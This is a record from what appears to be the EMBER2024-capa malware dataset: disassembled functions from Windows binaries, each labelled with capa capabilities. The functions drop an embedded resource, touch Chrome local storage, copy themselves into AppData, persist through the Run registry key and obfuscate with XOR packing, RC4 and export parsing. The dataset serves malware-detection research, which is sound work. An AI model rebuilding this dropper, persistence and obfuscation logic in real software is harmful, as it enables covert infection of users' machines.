joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100013b0
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
mov eax, dword [0x1000e0f0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
push 0x103
lea eax, [ebp - 0x107]
push 0
push eax
mov edi, ecx
mov byte [ebp - 0x108], 0
call fcn.10001fc0
movzx ecx, word [ebp + 8]
mov edx, dword [0x1000f050]
add esp, 0xc
push 0x1000a30c
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
mov eax, dword [0x1000f050]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [0x1000f050]
push esi
push ecx
mov dword [ebp - 0x10c], eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
cmp dword [ebp + 0x10], 0
mov dword [ebp - 0x110], eax
je 0x1000144f
lea edx, [ebp - 0x108]
mov eax, ebx
sub edx, ebx
nop
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x10001440
jmp 0x100014de
test edi, edi
jne 0x10001457
xor eax, eax
jmp 0x10001480
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
cmp eax, 0x3fffffff
jle 0x1000146a
xor eax, eax
jmp 0x10001480
lea esi, [eax + eax]
mov eax, esi
call fcn.100023c0
mov eax, esp
push 3
push esi
push edi
push eax
call fcn.10001340
lea edx, [ebp - 0x108]
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x10001488
lea edi, [ebp - 0x108]
dec edi
lea esp, [esp]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x100014a0
mov dx, word [0x1000a308]
mov eax, ebx
mov word [edi], dx
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x100014b6
lea edi, [ebp - 0x108]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x100014c8
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edx, dword [ebp - 0x10c]
push 0
lea ecx, [ebp - 0x114]
push ecx
mov esi, eax
mov eax, dword [ebp - 0x110]
push edx
push eax
push esi
mov dword [ebp - 0x114], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea esp, [ebp - 0x120]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10001fa4
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10001550
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x1000e0f0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x103
lea eax, [ebp - 0x107]
push 0
push eax
mov ebx, ecx
mov byte [ebp - 0x108], 0
call fcn.10001fc0
add esp, 0xc
lea ecx, [ebp - 0x108]
push ecx
push 0
push 0
push 0x1c
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea edi, [ebp - 0x108]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x100015a1
mov ecx, 0xc
mov esi, str.GoogleChromeUser_DataDefaultLocal_Storage_
rep movsd dword es:[edi], dword [esi]
lea edi, [ebp - 0x108]
dec edi
lea esp, [esp]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x100015c0
push 1
lea edx, [ebp - 0x108]
mov ecx, 0xa
mov esi, str.chrome_devtools_devtools_0.localstorage
push edx
rep movsd dword es:[edi], dword [esi]
push 0xdc
mov ecx, ebx
call fcn.100013b0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10001fa4
mov esp, ebp
pop ebp
ret

Function at 0x10001750
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x1000e0f0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x20a]
push ecx
mov word [ebp - 0x20c], ax
call fcn.10001fc0
add esp, 0xc
push 0
push 0x1c
lea edx, [ebp - 0x20c]
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea eax, [ebp - 0x20c]
mov edx, esi
mov ecx, eax
sub edx, ecx
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
test cx, cx
jne 0x100017a4
lea eax, [esi - 2]
pop esi
jmp 0x100017c0
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x100017c0
mov edx, dword [0x1000a418]
mov dword [eax], edx
mov ecx, dword [0x1000a41c]
mov dword [eax + 4], ecx
mov edx, dword [0x1000a420]
mov dword [eax + 8], edx
mov cx, word [0x1000a424]
mov word [eax + 0xc], cx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10001fa4
mov esp, ebp
pop ebp
ret

Function at 0x10001870
Capabilities:
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x1000e0f0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor eax, eax
push 0x206
mov esi, ecx
push eax
lea ecx, [ebp - 0x20a]
push ecx
mov word [ebp - 0x20c], ax
call fcn.10001fc0
add esp, 0xc
push 0
push 0x1c
lea edx, [ebp - 0x20c]
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
add esi, 4
lea eax, [ebp - 0x20c]
mov edx, esi
mov ecx, eax
sub edx, ecx
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
test cx, cx
jne 0x100018c6
push edi
lea edi, [esi - 2]
lea esp, [esp]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x100018e0
mov edx, dword [0x1000a434]
mov dword [edi], edx
lea eax, [esi - 2]
pop edi
jmp 0x10001900
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x10001900
mov ecx, dword [0x1000a45c]
mov dword [eax], ecx
mov edx, dword [0x1000a460]
mov dword [eax + 4], edx
mov ecx, dword [0x1000a464]
push 0
push esi
mov dword [eax + 8], ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.10001fa4
mov esp, ebp
pop ebp
ret
Function at 0x10001940
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [0x1000e0f0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor eax, eax
push 0x206
mov esi, ecx
push eax
lea ecx, [ebp - 0x412]
push ecx
mov word [ebp - 0x414], ax
call fcn.10001fc0
xor edx, edx
push 0x206
push edx
lea eax, [ebp - 0x20a]
push eax
mov word [ebp - 0x20c], dx
call fcn.10001fc0
add esp, 0x18
lea eax, [esi + 4]
lea edx, [ebp - 0x20c]
sub edx, eax
pop esi
jmp 0x100019a0
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
test cx, cx
jne 0x100019a0
push edi
lea edi, [ebp - 0x20c]
add edi, 0xfffffffe
lea esp, [esp]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x100019c0
mov ecx, dword [0x1000a434]
lea eax, [ebp - 0x20c]
mov dword [edi], ecx
add eax, 0xfffffffe
pop edi
mov edi, edi
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x100019e0
mov edx, dword [0x1000a468]
mov ecx, dword [0x1000a46c]
mov dword [eax], edx
mov edx, dword [0x1000a470]
mov dword [eax + 4], ecx
mov ecx, dword [0x1000a474]
mov dword [eax + 8], edx
mov edx, dword [0x1000a478]
mov dword [eax + 0xc], ecx
mov ecx, dword [0x1000f050]
mov dword [eax + 0x10], edx
push 0x104
lea eax, [ebp - 0x414]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0
lea edx, [ebp - 0x20c]
push edx
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
xor eax, eax
lea esp, [esp]
movzx ecx, word [ebp + eax - 0x20c]
mov word [eax + 0x1000f058], cx
add eax, 2
test cx, cx
jne 0x10001a50
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10001fa4
mov esp, ebp
pop ebp
ret

Function at 0x10001a80
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x1000e0f0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
push 0x206
mov ebx, ecx
push eax
lea ecx, [ebp - 0x20a]
push ecx
mov word [ebp - 0x20c], ax
call fcn.10001fc0
add esp, 0xc
push 0
push 0x1c
lea edx, [ebp - 0x20c]
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
add ebx, 4
lea eax, [ebp - 0x20c]
mov edx, ebx
mov ecx, eax
sub edx, ecx
jmp 0x10001ae0
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
test cx, cx
jne 0x10001ae0
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x10001af2
mov edx, dword [0x1000a434]
mov dword [edi], edx
lea eax, [ebx - 2]
lea esp, [esp]
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x10001b10
mov ecx, dword [0x1000a45c]
mov dword [eax], ecx
mov edx, dword [0x1000a460]
mov dword [eax + 4], edx
mov ecx, dword [0x1000a464]
mov dword [eax + 8], ecx
lea edi, [ebx - 2]
lea esp, [esp]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x10001b40
push 0
push 0
push 0
push ebx
push str.open
mov ecx, 9
mov esi, 0x1000a438
push 0
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10001fa4
mov esp, ebp
pop ebp
ret
Function at 0x10001b80
Capabilities:
Get common file path
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x474
mov eax, dword [0x1000e0f0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov ebx, ecx
xor eax, eax
mov ecx, 0x17
mov esi, str.SoftwareMicrosoftWindowsCurrentVersionRun
lea edi, [ebp - 0x60]
push 0x206
rep movsd dword es:[edi], dword [esi]
push eax
lea ecx, [ebp - 0x266]
push ecx
mov dword [ebp - 0x474], 0
mov word [ebp - 0x268], ax
call fcn.10001fc0
add esp, 0xc
push 0
push 0x1c
lea edx, [ebp - 0x268]
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
add ebx, 4
lea eax, [ebp - 0x268]
mov edx, ebx
mov ecx, eax
sub edx, ecx
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
test cx, cx
jne 0x10001bf1
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x10001c03
mov edx, dword [0x1000a434]
mov dword [edi], edx
lea eax, [ebx - 2]
lea ebx, [ebx]
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x10001c20
mov ecx, dword [0x1000a45c]
mov dword [eax], ecx
mov edx, dword [0x1000a460]
mov dword [eax + 4], edx
mov ecx, dword [0x1000a464]
mov dword [eax + 8], ecx
lea edi, [ebx - 2]
lea esp, [esp]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x10001c50
mov ecx, 9
mov esi, 0x1000a438
rep movsd dword es:[edi], dword [esi]
pop edi
lea edx, [ebp - 0x470]
pop esi
mov eax, ebx
sub edx, ebx
pop ebx
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
test cx, cx
jne 0x10001c75
lea edx, [ebp - 0x474]
push edx
push 0xf003f
push 0
lea eax, [ebp - 0x60]
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov edx, dword [ebp - 0x474]
push 0x104
lea ecx, [ebp - 0x470]
push ecx
push 1
push 0
push 0x1000a45c
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [ebp - 0x474]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10001fa4
mov esp, ebp
pop ebp
ret

Function at 0x10001d00
Capabilities:
Create process on windows
Get common file path

Disassembly:
push esi
mov esi, ecx
call fcn.10001870
mov ecx, esi
call fcn.10001940
mov ecx, dword [esi]
lea eax, [esi + 4]
push eax
call fcn.10001600
mov ecx, 0x1000f298
call fcn.10001d50
mov ecx, esi
call fcn.10001b80
mov ecx, esi
pop esi
jmp fcn.10001a80
Function at 0x10001d50
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x654
mov eax, dword [0x1000e0f0]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x64c]
push eax
call dword [sym.imp.ole32.dll_CoCreateGuid]
test eax, eax
js 0x10001e9c
push esi
push edi
mov ecx, 7
mov esi, 0x1000a508
lea edi, [ebp - 0x24]
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x654]
push ecx
lea edx, [ebp - 0x64c]
push edx
mov dword [ebp - 0x650], 0
mov dword [ebp - 0x654], 0
movsw word es:[edi], word [esi]
call dword [sym.imp.ole32.dll_StringFromCLSID]
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x432]
push ecx
mov word [ebp - 0x434], ax
call fcn.10001fc0
lea edx, [ebp - 0x434]
push edx
call fcn.10001750
mov eax, dword [0x1000a4fc]
mov ecx, dword [0x1000a500]
mov dx, word [0x1000a504]
push 0x1fe
mov dword [ebp - 0x22c], eax
lea eax, [ebp - 0x222]
push 0
push eax
mov dword [ebp - 0x228], ecx
mov word [ebp - 0x224], dx
call fcn.10001fc0
add esp, 0x1c
push 0
lea ecx, [ebp - 0x650]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
lea edx, [ebp - 0x24]
push edx
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov ecx, dword [ebp - 0x650]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 0x104
lea eax, [ebp - 0x22c]
push eax
push 1
push 0
push 0x1000a4fc
push ecx
call esi
mov eax, dword [ebp - 0x650]
push 0x104
lea edx, [ebp - 0x22c]
push edx
push 1
push 0
push str.sleep
push eax
call esi
mov eax, dword [ebp - 0x654]
pop edi
pop esi
movzx ecx, word [eax]
add eax, 2
test cx, cx
jne 0x10001e84
mov ecx, dword [ebp - 0x650]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10001fa4
mov esp, ebp
pop ebp
ret

Function at 0x10001fa4
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1000e0f0]
jne 0x10001fae
repz ret
jmp fcn.10002d78
Function at 0x10008071
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1000e0f0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.10003628
and dword [ebp - 0x14], 0
cmp dword [0x10010398], 0
mov dword [ebp - 0x18], eax
jne 0x10008124
push 0x1000bd30
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x100081cc
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x1000bd24
push ebx
call edi
test eax, eax
je 0x100081cc
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x1000bd14
push ebx
mov dword [0x10010398], eax
call edi
push eax
call esi
push 0x1000bd00
push ebx
mov dword [0x1001039c], eax
call edi
push eax
call esi
push 0x1000bce4
push ebx
mov dword [0x100103a0], eax
call edi
push eax
call esi
mov dword [0x100103a8], eax
test eax, eax
je 0x10008124
push 0x1000bccc
push ebx
call edi
push eax
call esi
mov dword [0x100103a4], eax
mov eax, dword [0x100103a4]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x1000817d
cmp dword [0x100103a8], ecx
je 0x1000817d
push eax
call esi
push dword [0x100103a8]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x1000817d
test ebx, ebx
je 0x1000817d
call edi
test eax, eax
je 0x10008174
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x10008174
test byte [ebp - 8], 1
jne 0x1000817d
or dword [ebp + 0x10], 0x200000
jmp 0x100081b0
mov eax, dword [0x1001039c]
cmp eax, dword [ebp - 0x18]
je 0x100081b0
push eax
call esi
test eax, eax
je 0x100081b0
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x100081b0
mov eax, dword [0x100103a0]
cmp eax, dword [ebp - 0x18]
je 0x100081b0
push eax
call esi
test eax, eax
je 0x100081b0
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x10010398]
call esi
test eax, eax
je 0x100081cc
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x100081ce
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10001fa4
leave
ret
Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43000c
nop
nop
nop
nop
nop
pop eax
add eax, 0x403d6f
nop
nop
sub eax, 0x403d15
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp fcn.00401219
Function at 0x100068a5
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov dword [0x1001af80], 0x1ec5
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
xor eax, eax
mov dword [0x1001af88], 0
mov byte [0x1001af8c], 0
mov dword [0x1001af7c], 0x1d83
mov dword [0x1001af84], 0
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x1001af80]
add eax, 0x1b49
mov dword [0x1001af7c], eax
mov eax, dword [0x1001af84]
add eax, 1
mov dword [0x1001af84], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x100068f4
jmp 0x100069eb
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov dword [ebp - 0x24], eax
xor edx, edx
mov esi, dword [ebp - 0x10]
div esi
mov dword [0x1001af90], 0
mov edi, dword [0x1001af88]
mov ebx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x24]
movzx esi, byte [ebx + esi]
add esi, edi
mov edi, dword [ebp - 0x14]
movzx edx, byte [edi + edx]
add esi, edx
mov dword [0x1001af90], esi
mov eax, esi
cdq
idiv ecx
mov dword [0x1001af88], edx
mov dword [0x1001af80], 0x1f91
mov ecx, dword [ebp - 0x24]
mov cl, byte [ebx + ecx]
mov byte [0x1001af8c], cl
mov cl, byte [ebx + edx]
mov edx, dword [ebp - 0x24]
mov byte [ebx + edx], cl
mov esi, dword [0x1001af7c]
add esi, 0x19b
mov dword [0x1001af7c], esi
mov cl, byte [0x1001af8c]
mov esi, dword [0x1001af88]
mov byte [ebx + esi], cl
mov esi, dword [0x1001af80]
add esi, 0x1e57
mov dword [0x1001af80], esi
mov esi, dword [0x1001af84]
add esi, 1
mov dword [0x1001af84], esi
cmp esi, 0x100
mov dword [ebp - 0x20], esi
jl 0x1000692e
jmp 0x10006a09
mov dword [0x1001af7c], 0x14d0
mov dword [0x1001af84], 0
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x1000692e
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10006a11
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x50
mov eax, dword [ebp + 8]
mov dword [0x1001af80], 0xeca
mov dword [0x1001af7c], 0x14f1
mov dword [ebp - 0x10], eax
call fcn.10007d60
mov ecx, dword [0x1001af80]
add ecx, 0x1364
mov dword [0x1001af80], ecx
mov ecx, eax
mov dword [0x1001af7c], 0x11af
mov edx, dword [eax + 0x3c]
mov dword [0x1001af7c], 0x1227
mov edx, dword [eax + edx + 0x78]
mov dword [0x1001af80], 0x2636
mov esi, ecx
add esi, dword [eax + edx + 0x20]
mov eax, edx
add eax, 0x24
mov edi, ecx
add edi, eax
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x20], edi
xor eax, eax
mov ecx, dword [ebp - 0x20]
mov edx, dword [ecx]
mov dword [0x1001af7c], 0xe14
mov esi, dword [ebp - 0x18]
mov edi, dword [ebp - 0x14]
mov ebx, dword [esi + edi + 0x18]
cmp ebx, 0
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x2c], eax
je 0x10006bb6
xor eax, eax
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x28]
add ecx, edx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], ecx
jmp 0x10006b0c
mov eax, dword [ebp - 0x38]
add eax, 1
mov cl, byte [ebp - 0x39]
cmp cl, 0
setne dl
mov ch, byte [ebp - 0x3a]
and ch, dl
cmp eax, 0x20
setb dl
mov dword [ebp - 0x40], eax
mov byte [ebp - 0x41], ch
mov byte [ebp - 0x42], dl
mov al, byte [ebp - 0x41]
mov cl, byte [ebp - 0x42]
and al, cl
test al, 1
mov edx, dword [ebp - 0x40]
mov dword [ebp - 0x48], edx
jne 0x10006b26
jmp 0x10006b4f
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x30]
xor edx, edx
mov esi, dword [ebp - 0x1c]
mov edi, dword [esi + ecx*4]
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x54], edi
mov dword [ebp - 0x48], edx
mov eax, dword [ebp - 0x48]
mov ecx, eax
mov edx, dword [ebp - 0x54]
add ecx, edx
mov esi, dword [ebp - 0x18]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x38], eax
mov byte [ebp - 0x39], bh
mov byte [ebp - 0x3a], cl
jne 0x10006ad1
mov al, byte [ebp - 0x3a]
test al, 1
jne 0x10006b83
jmp 0x10006b58
mov eax, dword [ebp - 0x4c]
add eax, 2
mov dword [ebp - 0x58], eax
xor eax, eax
mov ecx, dword [ebp - 0x50]
add ecx, 1
mov edx, dword [ebp - 0x24]
cmp ecx, edx
mov esi, dword [ebp - 0x58]
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], eax
jb 0x10006b0c
jmp 0x10006bb6
mov eax, dword [ebp - 0x4c]
movzx ecx, word [eax]
mov dword [0x1001af7c], 0xfffff785
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x14]
add edx, dword [edx + esi + 0x1c]
mov edi, dword [ebp - 0x18]
add edi, dword [edx + ecx*4]
mov dword [ebp - 0x5c], edi
mov dword [0x1001af80], 0x18b2
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
add esp, 0x50
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10006f71
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x98
lea eax, [esp + 0x30]
lea ecx, [esp + 0x40]
mov dword [0x1001af7c], 0x135
mov dword [esp], eax
mov dword [esp + 0x2c], ecx
call fcn.100073de
mov ecx, dword [esp + 0x30]
mov dword [esp + 0x6c], ecx
mov dword [esp + 0x88], 0x142800
mov ecx, dword [0x1001af68]
mov dword [esp + 0x90], ecx
mov ecx, dword [0x1001af6c]
mov dword [esp + 0x80], ecx
mov ecx, dword [0x1001af70]
mov dword [esp + 0x94], ecx
mov ecx, dword [0x1001af74]
mov dword [esp + 0x40], ecx
mov ecx, dword [0x1001af78]
mov dword [esp + 0x28], eax
mov dword [esp + 0x24], ecx
lea eax, [0x1000722c]
mov ecx, dword [esp + 0x24]
mov dword [esp + 0x70], ecx
mov dword [0x1001af7c], 0x25a4
mov dword [esp + 0x20], eax
jmp 0x10007029
mov eax, dword [esp + 0x1c]
mov ecx, dword [eax + 0x3c]
mov dword [esp + 0x18], ecx
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x18]
cmp dword [eax + ecx], 0x4550
je 0x10007054
jmp 0x10007038
mov eax, dword [esp + 0x20]
cmp word [eax], 0x5a4d
mov dword [esp + 0x1c], eax
je 0x1000700b
mov eax, dword [esp + 0x1c]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
mov dword [esp + 0x20], eax
jmp 0x10007029
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x7c], eax
mov dword [0x1001af7c], 0x1227
mov ecx, dword [esp + 0x18]
add ecx, 0x50
mov dword [esp + 0x10], ecx
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x10]
mov edx, dword [eax + ecx]
mov dword [esp + 0x50], edx
call fcn.10007e9c
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0xc], ecx
jne 0x100070db
lea eax, [esp + 0x40]
mov dword [0x1001af80], 0xb4a
mov ecx, dword [esp + 0x38]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.10007c05
mov ecx, esp
lea edx, [esp + 0x40]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 2
mov ecx, dword [0x1001af80]
add ecx, 0xffffee6a
mov dword [0x1001af7c], ecx
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
mov esp, ebp
pop ebp
ret